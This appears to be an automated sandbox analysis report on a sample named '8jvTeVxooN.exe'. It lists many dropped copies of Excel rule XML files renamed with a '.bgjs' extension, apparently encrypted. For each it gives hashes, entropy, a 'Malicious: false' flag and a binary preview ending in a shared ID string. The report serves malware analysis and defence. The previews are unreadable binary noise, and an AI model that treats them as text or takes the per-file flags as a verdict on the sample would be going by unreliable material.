SHA-512:	4C3FB74AE050D1C805D2039751EC6FDFB7AF1441526E8CCFE6E446DF6E138561F09D450596C3B80B560FF2A41C8E42EEF03049D551DA204A871A53B48737B7B1
Malicious:	false
Preview:	<?xml.2i. ......!'`/.N....N ...I..N).<...5.6.a.V.......n.Hq..R.w............sB...y(.....9Y...Ex......0.D...z....d%9.....de.L.=...Y...01.0.yG.{1...O.,];..D'.....P.............<C..^...e8...;.^y.......E......3y..]A.9.C...........?R.e<...R.;@4.t......3f.h....y....'...WZ,.....!Z?.mZ..99.8I...[..N...j.j*L...Z.-......)f......h.....h{0.\|.[[..T.+k-....c...F....o..s...n.Y/.......Bw".....'I........'W......_...m...V..;i...#. ."?.IS....:s4y{......;......T_..&q8.g...k+..w)m.}...z... . ...'.Gj<J...<..(...,.+.q..D.r......std..Rx......g.. &..7..#......-G.V....n..g...V....:r.....9..M.9......w.......y.....G..V..{...H....o.[...,u.>\|..P....t.aEc.`# cNXS.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.758743759239078
Encrypted:	false
SSDEEP:	24:AOWNnF1Ey+M1tL2yFo9I5YvXe5OltkgPYuObD:Wv+MjRa9I5YfsdD
MD5:	B136E7A3C07A912E9DF725289A9B78B7
SHA1:	2EB4F8A34A41D5CC71056BB7B5917F09EB4C86B6
SHA-256:	7405E8EB3A76AA6EE10520E544A8284ADE4539840A979DD5B5394BBE587150F4
SHA-512:	687B86EFFBE1BC7A86BA09DA15445F62A758DAEB697E0A58DB5932DD2F1194F53C0D82BA3C5F04781193A4B1D14E3130F2773A2757DD2CB8F9BA1B363FD11BD5
Malicious:	false
Preview:	<?xml,."....F.3Hp9X.E.....%....,..vL.v.b.......X2 .].......@].....\|p.sh../q,.....ES.8..\|.ux.5....J...=W.u..3..7u...-....I.k.GK.u./..xr.M$...a...nF.pI..g}..3...}..-....~`...~.....'k&.....B.....KL..\|;..?.:.u...o.5....)]..M .9/AL....X]H\...m....a.g.z.ni..cY.....l..)....<..M........^.;W^.ii...Hk........^.`U.\|.)..qrH...L->.......K.....y.A%.....f.....B.P..E.:~......Je.CQ.4F..N.2.....E.J.g..C..?d.............Q......a..J3.9=...r.....D..........C.4Y....x.@j..>....b.p.F..6....}Cij.t'...".C..;..j.../M.b...&m.X.e.G.......9/^F..j.B.; .%.H1..b..)@....>...%R....Q&...x..........rE..{.vu...Y...m..j.....an.'....oH.w.G....U%..i.....~t~nz.....o...s. ...'..J.....o...v....P..![.c..w.z.j....d(.j+?.J.KJ.."aO%Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.734225310830981
Encrypted:	false
SSDEEP:	12:NjD98V7Ls49nP82BDKtjOHGobD1MGMo5qHoduPty37rpgFgAFvA+qA19aPuOciik:NjDeXs25st0b6baqHoduPA7WFgcA+qAQ
MD5:	43E35C02CF6109551EA1244032242FCD
SHA1:	708E871DAC303CC56347AD3B572A0DF3F8F24357
SHA-256:	1AD964A072A888FCDC7EFF38295868D8BDEC12BF93429AE666A0FE3424C9F968
SHA-512:	97589F3EF18DF5FF63BF9BCF83E01C3095A9C2C0F866E0E4D566CC489D144168656F7801384AD2F8481CBE730AA0A42BD8A70DE01A64E9F6B332759AEFEC7C42
Malicious:	false
Preview:	<?xmlK....f..IF1..A..>.5...[......T........../..=.5}y.a....?...O.;...Qz.'9"..M.k...+..'......~.X.u..2.u...J....+..0.D.{~..#8...9.... ..'(m......z:...F.Zz......t.......T...[n......d...s..5............../Tea..p.%..p-roP0....R...9>.5_..$.b.....}..B.A...?.a....5.8>[...........h.S..N.S....+S.i.z.V&...vF....)\.4L..B...I..o....]{.h..6......oR..~t&.H3...q.....$.(@....F...r.....}@.f..T#./q.`n.....w..t.........+....H>lf...B.`.F..U.\...W........r.n.QS.....n;.r..@Y..6....o..?.....3m.49.,l..V.!.Y.b..3.\|.m....4.<ba..H".]..-.\SV..........F..PF..Z.._.....@~...d..k..A'IUn.wR.'E.$v...VEW....)@.o-.3.g.W.........v...4.. ...>.n?.....J.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.721294836594148
Encrypted:	false
SSDEEP:	24:I0I5rqRD8XgRsMZsRSBXaZzBOIEN6hFObD:mAMXDSYsz6hKD
MD5:	64F7C2C888706C428B5B7D8DE8E03F8F
SHA1:	E79B6BF7A3981BBADE03AFF83A830B1FC4613A98
SHA-256:	99712B25C7E5704DFC30D4AC512BA664434413A157058A719C1EE7CD72CF7D01
SHA-512:	C4FC0B5C8F50BE14C410DB78E952CA4466F9E31499CFCE2C2A48418F656B638802C05181FE387A4555D66D1E885AED0BCA2C46C2B3626BD599C7DE27115C3E40
Malicious:	false
Preview:	<?xmlu..1.e..L..$......n'.i.#i5..\|n....A..P.l.......NdI".....}..8d.WR..+..TsO>..&....1..m.!.?..;&......6...xl..m.5...#..y^.sP.z5....5I....H.....bU.B..1......2...4.0..f..V..v.w.W.....[~...-...U.....A ...h.p..y-...H"6F.~.!.$.~.M..7..AT...1b.!.. u.j(..Tc..(.'..2.-[.@..+}X.(..?....3].vU.....+..q...6..G..d.....m)0k......s.]a."41 ..>.s.....b.`....7...y..'.\..y.cZ.l.B..}#e.jf.WP.z.x.f.V:.O.M8e....v.%......\t1XR.[.:e.pQB.l..U.(W..........O.[.x..*......m<....E..<^.0.RR.o5F...Qet.G...ZPh..P.{.^.f:(.......[y.7.....w.w3......b<.JZ.(..6....k..Ah.#q.;#...ZC....\..r....z/..2.}..K.8.W.1.....\..6p[\..c..we./n..'..C..hu...Q\........#..6...c.H\...)./...;..LbJ.`+...fB.K..W....0.].f....o.[.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.708453374682615
Encrypted:	false
SSDEEP:	12:kJ+1S0HKHX5INHnKhMoY1fAAjojZT19gR4oHT9HSpZ13yt/FgVuOcii9a:A+w0HFNHbL1YAcZT1KR4KxSNgdObD
MD5:	3165FC9DF5A2E0FDFE54FEFC8FF283D0
SHA1:	2D07A9A830D463B9AFDED415BAD5675C66A996C5
SHA-256:	C1B6F206AE6EEDE881EFD82AB16FC0030D7D5AD8BB5D11DCDE099304A62277D7
SHA-512:	04171BB6699A0672E1B05A9536E436CA198EEDE2B6BDABAEA127AD874D4C7A978F276CE949ED3CC2026F6B67914B842904D0247ACE8CD627C72BDCE8BA47A6DD
Malicious:	false
Preview:	<?xmlZ....#u.].g.l.......M..m.fy. .t.......2=..q b.GH..M.c.i..%Sup.bf..GQ...T...{...4....S..{...P:v6$.iZ.!,U>...v..Z..u....:.Ir.w.z.............8.3.#.......D.b.1o......b.F.]..u$.\|..To..Y...=..--.v.u..c.\..$..Tu..@y..(..4...:..[..o...5.......\.T.S<om...:....V...B.....)...O>..2w....~2.Jfp....[....H{;.....e<Nq.d..g:.j%Um..&~.~r...o.G.\|f!.Zn...t,...$yDQ=...Bt.<+.....P.n`..2h2...A..R.P=N..H.W.[N....q.J...K!.{?.....W@....aK0.<....Ak{......+...m.:.\|u.....DU......=...i....o..q..+........hl0..E.0..#..V....Qj_%..=..i.^.!.u...L$...E(.....=...!...\|..F8)..d...t.y.'.........j.Xg.TEK..S.................b.@[...u.K.S/5...S...xs....53..H....=.....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.699554386919935
Encrypted:	false
SSDEEP:	12:RD5CtiLXeI37RiNMzxj+fflPU5iGhWa6hkin7aftY7XZh3P3Mmyj2DS2oaHdWuOX:BwG5zxj+a6hLn72Sh//yS37pObD
MD5:	4801872033A94913517608828C7E699F
SHA1:	44551D644AC31CEE2816315E6F8493FE3866BFF5
SHA-256:	6662CE1CB986FB7587FA846AF757BA5F476B651C1527B370E262FD99B9C7ED29
SHA-512:	34A2FA6B187265118CF7C28F639C3A7E5988FC44EDAC49543D028DA7A17DF1BF6889E404BF494C8F40A97E94A75EDE57AEB11514DF2A1597B85D07E3CEB5F208
Malicious:	false
Preview:	<?xml..H./..@.G.Q.r1....."O.0.0..\...{G....S.h.}.\|.M.D.A.._..?.jGx..=.TIuD...E.w..bw.} .T..'..3...\..uw....#...O,.B\|%gJ.6t$...Oi.o.YNt..BZ..,.Ye.../.I>5../ed..p.R....!.lQvru..i...BH .%.....&..$......m'.?.%.#K....H..()...@.+.....3.1....!..x.<S3%:...\..Z..B&2...,1.y..BB...]..+.ew....F..M)..e.....Yk5[..Nx<s...EC\..2.[ r.......R.c.7+..P/.rY.~f...6a.,.82J=.M0o&...VrB8.P.eJs..(..C....L.[.....6........<]...f...y.R...2S.m.77J....!.M.K..~~Re]...`u#6.P.!...M.K6..._3.2..b..............{...E.............;.LK.6.Rhi.+.2..M..r.?(.......>&...5..o....x%..z...).t.}C.a.!... <...........m..E#Ux...5o(5...2...x?^Q.:....F@0...}T......w<{.^.k..+w.A=.\|p.t?.,&......\|......2.>._...Jq.[.l/......xA.p....M(..:.rZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.693464568610659
Encrypted:	false
SSDEEP:	12:kPRVRJqrmo/FUVB638wYtHPICFYFGIHdphitJUwgzlJicGtgFF5w7j/LuOcii9a:6RJamw8wYd1F+GIHgtJUwgJ1rSSObD
MD5:	45BEA5FB705319FD9FEB9B10F45AD672
SHA1:	928ABF64A399079AE7467F080C2B8A3F0ED44CF1
SHA-256:	1AFB042E2E3B1F717481FBBC26C5DA7E3335FBDC0CAE783405DFF03B59D90768
SHA-512:	1090C32F42BD6291C50FD1AE94F51C5E0AA9597108D97D00EF69B0790C5BA43B2FF848F9C10A05D3C84014DFF0988401CE4DC06439BE68290DAF1632241DD740
Malicious:	false
Preview:	<?xml....Q#T.....Z&.Uy.9b.).....Q...}M9.O.iXl...t....z.+...b...zG<0xRAZ.S..~.NQiw.?(..A.. \|....j!g{..x.R....._.{..<..o.js.lO[^5.A[.6....5......vz?..X+.\|Ui .....W....O....%.m.b..o....7..^...i........b.\|.T..4\|_....A.!..A..\|......I]..\|z.KH...w[.#e...H.F2.$..;+6.d.;...u..MGz..'}H..6.../..{..p.A/ EU.KP... .6_.c-M.L...q..v.B.67....+....Q.j0.O\.i..x..E..U...1..V.>Pb+t3i].l.`....R.\..@.gc.......L...>..n0...Pk.g8.Y............$.}..J$<....}.P...`;.d.....k......Jl....0VZ..G!..5%..T.ItF.........V.\|.4.....5.eds'G.............!..G.^.R...V...L..>.{].......Ce4)d.C.g24....fVj..s6.......!WQ3.t9.`..x(.o.....AM$nN}...B.d.%........".....4im". q.\..E..H#.Z..V.....+4Ss..b.._...I\....X.....y.&..<.e2.+..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.74360229409136
Encrypted:	false
SSDEEP:	24:Ox/Ip1QS+QIadAQ33GVDg83uIEdVEK/U5ObD:sIcSXINQ33GwIEU2RD
MD5:	F9D66218DC835E2EFE29E12797728CF1
SHA1:	96F34388A322422936EDA8C1B6E6F2C91F40F7CD
SHA-256:	85683A8337CEA2CA62181AFFCB46C1006B695A37F83AB835D729C8813500ADF1
SHA-512:	DD3693D618B0D4FBE8F2F123AE8F1D77F61D77197F78143D4B7FE4DA8F1816F1F1F3E895D946E70A3CFAD8853A8D6B0AE0A898A9C497AB0BEA0493570EEBDD14
Malicious:	false
Preview:	<?xml0.......{..M....M,..C..........V..9........),....DE.7+.5W.t..1...l.b....0,..d.O,....'..u......x....W.DM?=>.d..6.Ox.0...[wv.a...7IA..U.\\..h`.D....n...i..h$K.f/....J........V..5.F....S...P.....}.l.z..K.f8.....i..\>.......Hb...K.O.s.c.csP..{f...mh..:[....!w..$1.#.L.D.t.'..,R..5.....e4..T..)..... .t..[dI.......h.......5.[.....i.......P.PMJ.Yuw.....'..Vs..s9\`y.=..../.(........d.YG8O..?...N.L..<4%...J..:.6....~.E...6...a........^L.sk.}...&i....z.......p.........uY...%K.B:.1..4@t...z...\.`#.c.......z.;.Y7..k8.Q.0'>..Of.....1HT..T.(..r...+....y..cgaS..K....C><].0./%x0......_..[.:..m..Y...!..Z5....r5'b 1Y.b1..+{..z..x.....-......2l.CVv8.KS....P2.T.I.+.@./c.}.).;Fhd.5.M.%.J.S........6:..N..).,..`2z.,..+.`EZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.707435846342341
Encrypted:	false
SSDEEP:	12:Z3jApoI6K50RIlz9Wu7/LLbIn5i2+S4WjynnifjWGWx8R6Di/PAoohuOcii9a:N8sWtcu7/LLqiSjyniPo2ObD
MD5:	8DA42A0A6E9C9993440F8B76EB4FFDA7
SHA1:	2B44AF3DF4DA6A0EE9F4F16B980C61149197036A
SHA-256:	18663959CB501022FABDB42B005566937C38651B706A4EE37D95615B9FF053BB
SHA-512:	548FB85AF11E0405F752AE67AAD579E1348236CF1A341E3DD1867D9AE3DAEBD22A4681B6E52AC111C241CDB4365AF6D8BB6045FF39859485E49A6583ED632340
Malicious:	false
Preview:	<?xml?p.<R....[.l...W7.X...`.'.>.<u..S.x....55h...'.P.b..V..j...D....".^%}{..\|.t..u+...v`./...p.H....\|x.?n...<-.....4e.hX.`.J...I.x.v.,.IG.#..S....a.9...H&.c7XW.Od.9.n_.J........RL..3.^...?..'.o.P@G.`N.mI<T...q...y.......v<s.&.`..^.Ak.y.1....nF.j$.8.8.S..{..Op..w#...5.8.8...V{h..'.;K.W....`oPd.......qZ?....,2.h\.h...-.(...r[...'. .?....$..s[..q.}I..P...(m..\$`..G.....Z..x..Z...rTl.k.3..e.j...i.)k5+8p../R.......:...7:.Q....z.+MO.SF.L3.J.B.....`....q{.=...s..o..-....S..."...5..?6/.Y..*.....rP`..d.?J..try...t......%..$....el}..U...p.6....\|......Do..."...z..`..aU..Z$f.P..W....N .f8.K....jl'...\-d.,EV<1@'...M.@..U...!.=...WK..^.o.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7169448679836945
Encrypted:	false
SSDEEP:	12:6IfnoBpbA5Qw/3cNKjR3adQ1psPL2rKkaSkNyeH2tA4rbibZJb2TZquOcii9a:3foP6QrKjRaQ7KLyK9pKrbiZJaTlObD
MD5:	A53F28CD262DD592FFBBF1DD2222CADD
SHA1:	960DAC05F5D238947E128EFC241EEFA8D4162E18
SHA-256:	01444CB3A1B3EB28A60ECB5BF771C607EE9C8D399179313318396E6C1B8D4A7B
SHA-512:	E197BB6CD1E46DDBE992FC5F41C609ED21869A9E114630E5B7BCD8F386A42475FA10FCA59BEB825A5BB70437B1B4EF2809E64C5DFC392057B3FD4F5E0F5E0468
Malicious:	false
Preview:	<?xml.C.u"..K:-.@.G.y:\|.x.2.....A.?..y .2...4jA.9..v..YK..~^...+........^..j?.W....lH...P../..m..7..u.x..C...mYQ.C.....q.S.....0dAB8..7E..UV~......5\|..I@u?.-.(S.J9......D..Z..+9.....&... p..TQ1....XO....3.O.J.!A..q.:lG....Bs\|....V.p..B.x.&.Q.w6W..B.%.H..b.D.22.O.W.3.(L.(Q......t.X+...n...f....\|.O..1..].1..K.D.i..[...!..wx... ...0i...e..5.^....E....cA0..&H9..K...==i)...G9.M...^.q.N..;.#z.}qh...k.&#qc....O.+]...a..6..+1O&.<........,y+.^...7.c%..>./..>......".v-..r......4...m...........E.c..~...z...A.>.....G..8.g..w.!.X.R...5<u..........R.#}.{.tR...G..>g.Y..I..q...........jh..Y.....$.X.T..^.+..Pk.....:........c.+...>..e.'....GE.MG....;Ewx.....\|..h..9..A.Q..aO?$.EJ..=.d..9..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.661240512708058
Encrypted:	false
SSDEEP:	12:kUqd5IXIoaLLp2yydPa6bbuHEq1/DT/FgJ+8BB3fvWkAX07hioGLv2uOcii9a:6d5+IzLLpcdGRH/FOB3nOXRoqbObD
MD5:	FA2FB6D820F8B69C5FF0B705D6350B3E
SHA1:	DA1BF629ACF5516B1AA97B4F26CAA47663856638
SHA-256:	8EBB0350B5B2284E20960F1B8A1CEA8E680ECFE6D87B69E3D4D820F36BC393A5
SHA-512:	D8B3DDD2338110DF15D5F11667EA3EE5A7842519F8BB8A4EF13C9DB1848688B2F8ADC804B1FA5C673CEAED45D227FAD41D673FF2E753E50D19F0628F23774998
Malicious:	false
Preview:	<?xml._.RdO.4...........4.....1X.........\v...w..T)j....u..t.gs....t..{!..#.E....8x.._..+..Bl.?.)Ma...7k.-..U^.k=j3MHq...p^i. ..l.b.&;_..A...U....Q_E38_.....6...Zy.....G.n.....\..h>8T.....>..L.,.e....s.+..@....h_.c.F...3...[.j..}..m....s.....^...^V.o.B4.-.HBK'<.h.i.Y._..EK.b...{.}o.'.:j<....hj...S..B.F(\|OV..Z..{_..l:...,c../..NI...ch..)x.%..o..%...Z8....qVD%NO.J... D..{L.B7....{I.RS..Tq..Z..\'.l..GBp$b...!L."...O\..6.{..:..*c..b..T.M....-y^#lY......r..S"...b..........y..R......#.2....E.Z.R..M/0..St.b.].f..k.d....nn&w,...CH...K.4..kk3.....C..I.(JS+6.;Q..sG.nn.0-.`..i.......j...xY//Fa.5.W1..3.v3S/.jE?..JBmm.j......'.....%8...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.687785963132715
Encrypted:	false
SSDEEP:	12:EafTTH5ydE7eKx7loc4CbHNtWNNlkckpbgT7kyWJfQ5ev33i6ab6CZauOcii9a:5ZUE7eKxKeYNvH4u535evS6k9ZfObD
MD5:	DDD20EB537B7B3063B4A5E97D1BA46CE
SHA1:	51B0CA3647070502B8B2A4B79C2E7310136A084B
SHA-256:	53CABC4445E545E92C1BB6744298A55DE5571E5D67AAF38ACD27F9420A28AB3D
SHA-512:	4623BAA5B9DE0ECD27A31DDA7C41599A13E49F4B1F891C0600C8D7DF8D0601D5D493E9D37D83837126BA0AC02C2408154EA24A7F58E464562AA755253A8176A2
Malicious:	false
Preview:	<?xmlyGt..8.L3.....3.toV..'.S@.@M.P2..4.v.....M"sTpW..<E@0.quJre.r..e.Jr.R..CdG..\b..[Q.uZ.Gx.a..........-.!..Y../...`d.K.C..C........s..;F7'A..FF.k.F..4.h...R.?..5.v.x.S..g...SsY.@...o..2,....o&../4!]..G..K';...d>...a.p.p...tx..M...cR}......y...IE:.A..(].......G7..a.X.........t..lW.....o.`e..v.yu$.-......q..`.o..(.f...f.Q.-Q...)....n5?.l....K^!_.;_o.q.h..F.R.j..vS.j...2x48..cwf....$....7..F...^...C9. ...;..e...a...A..a.8.I ..uB+...6E..../.{<.....v.R.......k.4=....e..^.U.4.;O..E.g...B.2..............B$..h~c0.........c....Q...t3.^..L1m.^C..{f.#N-i....p...z..S.....GX.......1.pD..].O....>eu.Cc...gD}2_b.F2D.U..@..:......8..>.o_.,.".U.....#";.K.......J9.Qj@....v..e"...y.....+....6..wZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.727185479552604
Encrypted:	false
SSDEEP:	12:LnwkS0c0/M/sw50a+Ykp7Hrz4saZMtRVzohWGN3sa9PuvfW/bARcoRrPd62Omd7P:LnW0QkJa/sUZaR0WWsa9Puve8RJg2OmJ
MD5:	CD966D89813FB6754DBC1E3C6683AF88
SHA1:	33A0EB8B75F64472875281552C3C514ADEF13DE9
SHA-256:	AAB183CC0D19B6E25C56188EE46054DFF91AEA18F6AF965FA4797E90F17D1D46
SHA-512:	9112DA2CB307B5FD34EBB3050C5D1F63F8FF1C0FDB2F78CDAB25E7A1FCBDFF75DF850F30FFFB664CBD91D6A8C68FD97BFCB7CBD81EEBDB1AB69421A717A00D57
Malicious:	false
Preview:	<?xmld.......+..G..I...2!........P...g.'...`L ....207.....z.....q[>c...D..H.p-...W..Z....jr="!.<R......bd!_..tP..K...P.SNX....v.d..:....\|g%....N..k ...o.)...r..w.......u.$....S=.......Y-Ab5...-..i....r..b.tM.~l!_\wv......mH..5.YN..q.q".[.o.&.B..H.]4f'..\|i..._../....qX..d.B'`_..1<G.)...D.,..i..k...@..2..D'..[E.R....-...>,>...f5Gu....../I...`...6j..].U.R_...h7.}...,.G...)...}.a{.y..x......."...]....@!.[.....)6...b..`...r....Z...........v7C....L.j.(....b....i~?...a.Q..".....(.b.8....].b..w..4....a...z%..W...c.0..0n7A.....^..ch...O.(<.`.E..........EUy....8T.;G.....Q...D+.>...q..C;.j..f.......~C8.....t\..m.IU.?...wV...hg5........q....R..lZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.686401700182667
Encrypted:	false
SSDEEP:	24:V0Q5H+PqNwKSuuupwPV8nShuV2aha4MZO9WKxn47no7tObD:eQrZSuOPVc8u0aArOXxn47o2D
MD5:	0A8FDB8F570F1B1B55D53AD8132CEF93
SHA1:	20DEF7DA7B7D54640846BAE2A71F6E00C91F28A5
SHA-256:	151AB50F0D1C8C85625C0FDE5968BF2DF83C0CF471D6A1FFECBFBB973D3AC79F
SHA-512:	4DCB2133687A0E7A049ACB9463C75C95683E3BB9C575F8D768BE68E45C16B6A15467C9A88A33A296759C858F894B88972B1E93F789AEAD1D715987E9D434E3FB
Malicious:	false
Preview:	<?xml..N...z..2.h..0NpE.QZ^... .b....qr...k3.k.?08k..Jd.M\|.]..8..t.~..@0p........:Y......M..............y.....p$.B.v..F.....1..C...0C.E.mY-..6..p9.+^.+..E...HF........t.AO....j\|&.%;...M$\#......,W...!.J^X.d.{n..7k.(.I,W;t.^.i.<.2..1.{:..l..?..]......I..4...Y..05..b.f.jvTmo(...%9...(.3..`n....$....2,..@..u...Rs..U.ls.$.z3.Uu..b.Lj.-..S......R..F....w{.....1...Y....E{.j.`xF.+.V->.s.D..wb.$K.M.....gz.b.&k..n..B..a.r.5....{.....x..N.w......U..'.....<4...qi.\.....-H.3HC5..2.9....F>..n.D....s...n.@..Lb.i.K.#...J04....HF.k.YN...r....YRq.......c.qHY.,$_9p.......$......`0..........E...%.U.K.j_7..........?.mx..3].q....f...-..x...7).9...$,u..Y.zq.....QTx..<.9.\|..?>9.u...J..k.b.Z.4..M.6.W.......D.....lss[o].9...w.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.68284154977731
Encrypted:	false
SSDEEP:	12:67DeARGU3Mgvun9BxU/vnCWldt9QO3fmVhj1V2BCv8c96zxjuOcii9a:2DeARGMkpUyWHOVF1R6NSObD
MD5:	7AF270FCB0C571545803ECF4CCD3ACEC
SHA1:	BEBE128932594CC90BF4F037831E0FE917BE7847
SHA-256:	28D33668D97940DFBDD3E2507ABACA0022D53A820D9DC95FB75CBA7428A16038
SHA-512:	5963D695AABF52D13DCD23B0F1A4C738A996B3E199ED620B62040F077BAD8ED29742B4B43F0DE0A6528198BAC45E331A932BE75CCC3C1F67599695CDAEEA0541
Malicious:	false
Preview:	<?xml\....G...R.1..]x..4..M \....B;3x.s.....($..Zaw......n)..=.O.F.R.c.A...R..;.o.A#."...B.q.."~"<`3z..^l.3....g .....l#s.)......4ifiL.baC&....>..]..L..@...... $:.f5..?C~..)..x.."...~5.......di..p{.. 4...T.P.....gn..+...,.p......Uv.1u.A..._-..4.(..sa..1@.......$..gr.%....W.Y=p....O....9~1.?..r.z......@&L..O..+.RV.>.5._...&u.E..U..W#....LR1)m..p.P.._e.v.(..Q3..h....q.i;w+.6S..Q.....l8Fs.s.>zI..HJf.M..(.....~..'..@'....T....N..-e...$:"..-SC\..x.E..0O`?..l.._.nP.........W..};..6.[)..U.gVN......D.[e...m.{...z.....-..\|BZ..[.w...D..<..",.oF<.-."..+.H..L.......v\...Z..kb.;.)Mu..~....Zs.o......%.D..\|x.].t..O..}.M..9..Q&.{0...5R.#.......,N....+...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.725521721489989
Encrypted:	false
SSDEEP:	24:rwf+vtUf1rvboS+xwBJLK4dVQDgbXFIfmsYf04aF8ObD:rUjf1zboS+WJLHUeXCfmsdTFD
MD5:	8D5FD859E1ECAFD37AA5DE102C85BB17
SHA1:	DC64367EB262379DD4D56D1D435AE759A3F33762
SHA-256:	41DFDEAE85D22B72E931B5538BDBC094AE9F3F71C37C3BC39DFC8CE8958A94D1
SHA-512:	93DA39A3171BBB8DF1A920B0A3BFE3856612345F85504CB8E356DA44DB30DA4B0F0B37F9A470C162FF893DB0C4CBBEA0B987F4E380F99B3843A624E410D4E703
Malicious:	false
